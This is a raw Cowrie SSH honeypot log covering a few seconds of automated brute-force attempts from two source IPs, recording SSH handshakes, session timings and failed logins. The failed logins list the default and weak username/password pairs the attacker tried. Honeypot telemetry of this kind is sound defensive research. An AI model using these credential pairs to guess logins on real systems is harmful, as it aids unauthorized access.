{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:00.200850Z","src_ip":"91.92.40.171","session":"e2c1b94b21e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56424,"dst_ip":"159.203.135.109","dst_port":22,"session":"18eacf22ff85","protocol":"ssh","message":"New connection: 91.92.42.133:56424 (159.203.135.109:22) [session: 18eacf22ff85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:01.671311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:01.915867Z","src_ip":"91.92.42.133","session":"18eacf22ff85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:01.919336Z","src_ip":"91.92.42.133","session":"18eacf22ff85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:04.045172Z","src_ip":"91.92.42.133","session":"18eacf22ff85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46286,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3547416ba16","protocol":"ssh","message":"New connection: 91.92.40.171:46286 (159.203.135.109:22) [session: d3547416ba16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:04.185673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:04.518743Z","src_ip":"91.92.40.171","session":"d3547416ba16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:04.522088Z","src_ip":"91.92.40.171","session":"d3547416ba16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:05.294963Z","src_ip":"91.92.40.171","session":"d3547416ba16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:05.328939Z","src_ip":"91.92.42.133","session":"18eacf22ff85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:06.422615Z","src_ip":"91.92.40.171","session":"d3547416ba16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51782,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b48957e9beb","protocol":"ssh","message":"New connection: 91.92.42.133:51782 (159.203.135.109:22) [session: 4b48957e9beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:09.439762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:09.488805Z","src_ip":"91.92.42.133","session":"4b48957e9beb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:09.596288Z","src_ip":"91.92.42.133","session":"4b48957e9beb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56880,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fad32925429","protocol":"ssh","message":"New connection: 91.92.40.171:56880 (159.203.135.109:22) [session: 9fad32925429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:09.843917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:09.988573Z","src_ip":"91.92.40.171","session":"9fad32925429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:09.994351Z","src_ip":"91.92.40.171","session":"9fad32925429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:10.250164Z","src_ip":"91.92.42.133","session":"4b48957e9beb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:10.598901Z","src_ip":"91.92.40.171","session":"9fad32925429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:11.626490Z","src_ip":"91.92.42.133","session":"4b48957e9beb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:11.722213Z","src_ip":"91.92.40.171","session":"9fad32925429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58094,"dst_ip":"159.203.135.109","dst_port":22,"session":"28d24f7fd2e1","protocol":"ssh","message":"New connection: 91.92.42.133:58094 (159.203.135.109:22) [session: 28d24f7fd2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:17.347715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:17.437923Z","src_ip":"91.92.42.133","session":"28d24f7fd2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:17.441493Z","src_ip":"91.92.42.133","session":"28d24f7fd2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57334,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b97803f5978","protocol":"ssh","message":"New connection: 91.92.40.171:57334 (159.203.135.109:22) [session: 5b97803f5978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:17.576048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:17.583564Z","src_ip":"91.92.40.171","session":"5b97803f5978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:18.364467Z","src_ip":"91.92.42.133","session":"28d24f7fd2e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:18.763561Z","src_ip":"91.92.40.171","session":"5b97803f5978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:19.566723Z","src_ip":"91.92.42.133","session":"28d24f7fd2e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":57378,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d85b861783","protocol":"ssh","message":"New connection: 91.92.40.171:57378 (159.203.135.109:22) [session: 99d85b861783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:21.592321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:21.767799Z","src_ip":"91.92.40.171","session":"99d85b861783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:21.772861Z","src_ip":"91.92.40.171","session":"99d85b861783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:22.709395Z","src_ip":"91.92.40.171","session":"5b97803f5978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234","message":"login attempt [git/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:22.830726Z","src_ip":"91.92.40.171","session":"99d85b861783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:24.030810Z","src_ip":"91.92.40.171","session":"99d85b861783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34814,"dst_ip":"159.203.135.109","dst_port":22,"session":"40fc7ed7bc04","protocol":"ssh","message":"New connection: 91.92.42.133:34814 (159.203.135.109:22) [session: 40fc7ed7bc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:24.936940Z"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:25.116597Z","src_ip":"91.92.40.171","session":"5b97803f5978","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:25.402653Z","src_ip":"91.92.42.133","session":"40fc7ed7bc04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:25.405872Z","src_ip":"91.92.42.133","session":"40fc7ed7bc04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:26.557127Z","src_ip":"91.92.42.133","session":"40fc7ed7bc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:27.667269Z","src_ip":"91.92.42.133","session":"40fc7ed7bc04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44420,"dst_ip":"159.203.135.109","dst_port":22,"session":"455a34c379b3","protocol":"ssh","message":"New connection: 91.92.40.171:44420 (159.203.135.109:22) [session: 455a34c379b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:28.586993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:00:28.715886Z","src_ip":"91.92.40.171","session":"455a34c379b3","protocol":"ssh"}
